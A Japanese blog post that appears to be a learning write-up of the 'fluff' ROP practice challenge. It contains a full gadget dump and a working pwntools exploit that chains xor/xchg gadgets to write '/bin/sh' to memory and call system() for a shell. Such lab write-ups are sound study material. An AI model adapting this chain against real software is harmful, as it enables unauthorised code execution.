ROPについて勉強する ~6~
ROPについて勉強する ~6~
続き
The concept here is identical to the write4 challenge. The only difference is we may struggle to find gadgets that will get the job > done. If we take the time to consider a different approach we'll succeed.
write4
の時と同じアプローチでよいらしいが、使用できるROPのgadgetが変わっているって書いてあると思う
解いていく
ROPガジェットに変更があるっぽいのでそこを見る
gadgets
$ ropper -f fluff [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% Gadgets ======= 0x00000000004006a2: adc byte ptr [rax], ah; jmp rax; 0x000000000040083d: adc byte ptr [rax], ah; xchg r11, r10; pop r15; mov r11d, 0x602050; ret; 0x0000000000400829: adc byte ptr [rax], ah; ret; 0x00000000004008cf: add bl, dh; ret; 0x0000000000400734: add byte ptr [rax - 0x7b], cl; sal byte ptr [rcx + rsi*8 + 0x55], 0x48; mov ebp, esp; call rax; 0x00000000004008cd: add byte ptr [rax], al; add bl, dh; ret; 0x0000000000400732: add byte ptr [rax], al; add byte ptr [rax - 0x7b], cl; sal byte ptr [rcx + rsi*8 + 0x55], 0x48; mov ebp, esp; call rax; 0x00000000004008cb: add byte ptr [rax], al; add byte ptr [rax], al; add bl, dh; ret; 0x00000000004006ac: add byte ptr [rax], al; add byte ptr [rax], al; pop rbp; ret; 0x000000000040081d: add byte ptr [rax], al; add byte ptr [rcx + 0x5f], al; xor r11, r11; pop r14; mov edi, 0x601050; ret; 0x00000000004007a1: add byte ptr [rax], al; add byte ptr [rdi + 0x400906], bh; call 0x5d0; mov eax, 0; pop rbp; ret; 0x00000000004005b3: add byte ptr [rax], al; add rsp, 8; ret; 0x00000000004007a2: add byte ptr [rax], al; mov edi, 0x400906; call 0x5d0; mov eax, 0; pop rbp; ret; 0x00000000004007fa: add byte ptr [rax], al; mov rdi, rax; call 0x620; nop; leave; ret; 0x000000000040081e: add byte ptr [rax], al; pop r15; xor r11, r11; pop r14; mov edi, 0x601050; ret; 0x00000000004006ae: add byte ptr [rax], al; pop rbp; ret; 0x00000000004008d2: add byte ptr [rax], al; sub rsp, 8; add rsp, 8; ret; 0x000000000040083f: add byte ptr [rbp - 0x79], cl; rol dword ptr [rcx + 0x5f], cl; mov r11d, 0x602050; ret; 0x000000000040081f: add byte ptr [rcx + 0x5f], al; xor r11, r11; pop r14; mov edi, 0x601050; ret; 0x00000000004007a3: add byte ptr [rdi + 0x400906], bh; call 0x5d0; mov eax, 0; pop rbp; ret; 0x0000000000400714: add eax, 0x20096e; add ebx, esi; ret; 0x0000000000400719: add ebx, esi; ret; 0x00000000004005b6: add esp, 8; ret; 0x00000000004005b5: add rsp, 8; ret; 0x0000000000400848: and byte ptr [rax], ah; ret; 0x0000000000400717: and byte ptr [rax], al; add ebx, esi; ret; 0x00000000004007a9: call 0x5d0; mov eax, 0; pop rbp; ret; 0x0000000000400810: call 0x5e0; nop; pop rbp; ret; 0x00000000004007ff: call 0x620; nop; leave; ret; 0x00000000004005b0: call 0x640; add rsp, 8; ret; 0x0000000000400745: call qword ptr [rbp + 0x48]; 0x0000000000400a63: call qword ptr [rcx]; 0x0000000000400a43: call qword ptr [rdx]; 0x000000000040073e: call rax; 0x000000000040098b: call rsp; 0x0000000000400824: fild dword ptr [rcx + 0x5e]; mov edi, 0x601050; ret; 0x00000000004008ac: fmul qword ptr [rax - 0x7d]; ret; 0x0000000000400a83: jmp qword ptr [rbp]; 0x00000000004006a5: jmp rax; 0x0000000000400711: lcall [rbp - 0x3a]; add eax, 0x20096e; add ebx, esi; ret; 0x000000000040084f: mov dword ptr [rdx], ebx; pop r13; pop r12; xor byte ptr [r10], r12b; ret; 0x00000000004007ae: mov eax, 0; pop rbp; ret; 0x00000000004005b1: mov eax, dword ptr [rax]; add byte ptr [rax], al; add rsp, 8; ret; 0x0000000000400835: mov ebp, 0x604060; ret; 0x000000000040073c: mov ebp, esp; call rax; 0x0000000000400846: mov ebx, 0x602050; ret; 0x00000000004007a4: mov edi, 0x400906; call 0x5d0; mov eax, 0; pop rbp; ret; 0x000000000040080b: mov edi, 0x40095b; call 0x5e0; nop; pop rbp; ret; 0x000000000040083b: mov edi, 0x601050; xchg r11, r10; pop r15; mov r11d, 0x602050; ret; 0x0000000000400827: mov edi, 0x601050; ret; 0x00000000004006a0: mov edi, 0x601060; jmp rax; 0x00000000004007fd: mov edi, eax; call 0x620; nop; leave; ret; 0x000000000040084e: mov qword ptr [r10], r11; pop r13; pop r12; xor byte ptr [r10], r12b; ret; 0x0000000000400845: mov r11d, 0x602050; ret; 0x0000000000400834: mov r13d, 0x604060; ret; 0x000000000040073b: mov rbp, rsp; call rax; 0x00000000004007fc: mov rdi, rax; call 0x620; nop; leave; ret; 0x00000000004006a8: nop dword ptr [rax + rax]; pop rbp; ret; 0x00000000004006f5: nop dword ptr [rax]; pop rbp; ret; 0x00000000004006a7: nop word ptr [rax + rax]; pop rbp; ret; 0x00000000004007a6: or dword ptr [rax], eax; call 0x5d0; mov eax, 0; pop rbp; ret; 0x000000000040080d: or dword ptr [rax], eax; call 0x5e0; nop; pop rbp; ret; 0x0000000000400832: pop r12; mov r13d, 0x604060; ret; 0x00000000004008bc: pop r12; pop r13; pop r14; pop r15; ret; 0x0000000000400853: pop r12; xor byte ptr [r10], r12b; ret; 0x0000000000400851: pop r13; pop r12; xor byte ptr [r10], r12b; ret; 0x00000000004008be: pop r13; pop r14; pop r15; ret; 0x0000000000400825: pop r14; mov edi, 0x601050; ret; 0x00000000004008c0: pop r14; pop r15; ret; 0x000000000040082d: pop r14; xor r11, r12; pop r12; mov r13d, 0x604060; ret; 0x000000000040084c: pop r15; mov qword ptr [r10], r11; pop r13; pop r12; xor byte ptr [r10], r12b; ret; 0x0000000000400843: pop r15; mov r11d, 0x602050; ret; 0x0000000000400820: pop r15; xor r11, r11; pop r14; mov edi, 0x601050; ret; 0x00000000004008c2: pop r15; ret; 0x000000000040069f: pop rbp; mov edi, 0x601060; jmp rax; 0x00000000004008bb: pop rbp; pop r12; pop r13; pop r14; pop r15; ret; 0x0000000000400852: pop rbp; pop r12; xor byte ptr [r10], r12b; ret; 0x00000000004008bf: pop rbp; pop r14; pop r15; ret; 0x00000000004006b0: pop rbp; ret; 0x000000000040080c: pop rbx; or dword ptr [rax], eax; call 0x5e0; nop; pop rbp; ret; 0x000000000040084d: pop rdi; mov qword ptr [r10], r11; pop r13; pop r12; xor byte ptr [r10], r12b; ret; 0x0000000000400844: pop rdi; mov r11d, 0x602050; ret; 0x0000000000400821: pop rdi; xor r11, r11; pop r14; mov edi, 0x601050; ret; 0x00000000004008c3: pop rdi; ret; 0x0000000000400826: pop rsi; mov edi, 0x601050; ret; 0x00000000004008c1: pop rsi; pop r15; ret; 0x000000000040082e: pop rsi; xor r11, r12; pop r12; mov r13d, 0x604060; ret; 0x0000000000400833: pop rsp; mov r13d, 0x604060; ret; 0x00000000004008bd: pop rsp; pop r13; pop r14; pop r15; ret; 0x0000000000400854: pop rsp; xor byte ptr [r10], r12b; ret; 0x000000000040083c: push rax; adc byte ptr [rax], ah; xchg r11, r10; pop r15; mov r11d, 0x602050; ret; 0x0000000000400828: push rax; adc byte ptr [rax], ah; ret; 0x0000000000400847: push rax; and byte ptr [rax], ah; ret; 0x000000000040073a: push rbp; mov rbp, rsp; call rax; 0x0000000000400842: rol dword ptr [rcx + 0x5f], cl; mov r11d, 0x602050; ret; 0x0000000000400737: sal byte ptr [rcx + rsi*8 + 0x55], 0x48; mov ebp, esp; call rax; 0x0000000000400850: sbb al, byte ptr [rcx + 0x5d]; pop r12; xor byte ptr [r10], r12b; ret; 0x00000000004008d5: sub esp, 8; add rsp, 8; ret; 0x00000000004008d4: sub rsp, 8; add rsp, 8; ret; 0x00000000004006aa: test byte ptr [rax], al; add byte ptr [rax], al; add byte ptr [rax], al; pop rbp; ret; 0x0000000000400841: xchg ebx, edx; pop r15; mov r11d, 0x602050; ret; 0x0000000000400840: xchg r11, r10; pop r15; mov r11d, 0x602050; ret; 0x0000000000400855: xor byte ptr [r10], r12b; ret; 0x0000000000400856: xor byte ptr [rdx], ah; ret; 0x0000000000400823: xor ebx, ebx; pop r14; mov edi, 0x601050; ret; 0x0000000000400830: xor ebx, esp; pop r12; mov r13d, 0x604060; ret; 0x0000000000400822: xor r11, r11; pop r14; mov edi, 0x601050; ret; 0x000000000040082f: xor r11, r12; pop r12; mov r13d, 0x604060; ret; 0x0000000000400739: int1; push rbp; mov rbp, rsp; call rax; 0x0000000000400805: leave; ret; 0x0000000000400815: nop; pop rbp; ret; 0x0000000000400804: nop; leave; ret; 0x00000000004005b9: ret; 113 gadgets found
writeでメモリに書き込むときに使っていたmov
の命令セットが無くなっている。
代わりに書き込めそうな命令の一つにこんなものがあった
mov qword ptr [r10], r11; pop r13; pop r12; xor byte ptr [r10], r12b; ret;
mov qword ptr [r10], r11;
をうまいこと処理してくれそうな箇所を探せばよさそうだ
というわけで以下のgadgetを用意した
gadget | 説明 |
---|---|
mov qword ptr [r10], r11; pop r13; pop r12; xor byte ptr [r10], r12b; ret; | メモリに書き込む |
xor r11, r11; pop r14; mov edi, 0x601050; ret; | r11を0クリアする |
pop r12; mov r13d, 0x604060; ret; | r12レジスタをpopする |
xor r11, r12; pop r12; mov r13d, 0x604060; ret; | r11とr12でxor演算する |
xchg r11, r10; pop r15; mov r11d, 0x602050; ret; | xchgはデータを交換することができる |
命令セットの使いたい部分だけを使って必要のない部分は使わないことで命令をつなげていくことができる
exploit
from pwn import * # my gadget <3 padding = 'A' * 40 call_system = p64(0x004005e0) data_sec = p64(0x00601050) pop_rdi_ret = p64(0x00000000004008c3) # pop rdi; ret; mov_r10_r11_xor_r10_r12b = p64(0x000000000040084e) # mov qword ptr [r10], r11; pop r13; pop r12; xor byte ptr [r10], r12b; ret; xor_r11_r11 = p64(0x0000000000400822) # xor r11, r11; pop r14; mov edi, 0x601050; ret; pop_r12 = p64(0x0000000000400832) # pop r12; mov r13d, 0x604060; ret; xor_r11_r12 = p64(0x000000000040082f) # xor r11, r12; pop r12; mov r13d, 0x604060; ret; xchg_r11_r10 = p64(0x0000000000400840) # xchg r11, r10; pop r15; mov r11d, 0x602050; ret; sh_txt = '/bin/sh\x00' dust = p64(0) # exploit exploit = padding # aa exploit += xor_r11_r11 exploit += dust exploit += pop_r12 exploit += data_sec exploit += xor_r11_r12 exploit += dust exploit += xchg_r11_r10 exploit += dust # bb exploit += xor_r11_r11 exploit += dust exploit += pop_r12 exploit += sh_txt exploit += xor_r11_r12 exploit += dust exploit += mov_r10_r11_xor_r10_r12b exploit += dust exploit += dust exploit += pop_rdi_ret exploit += data_sec exploit += call_system print(exploit) # Run process io = process('./fluff') io.sendline(exploit) io.interactive()
無事にshellを奪えることがわかる
感想
コードが汚すぎる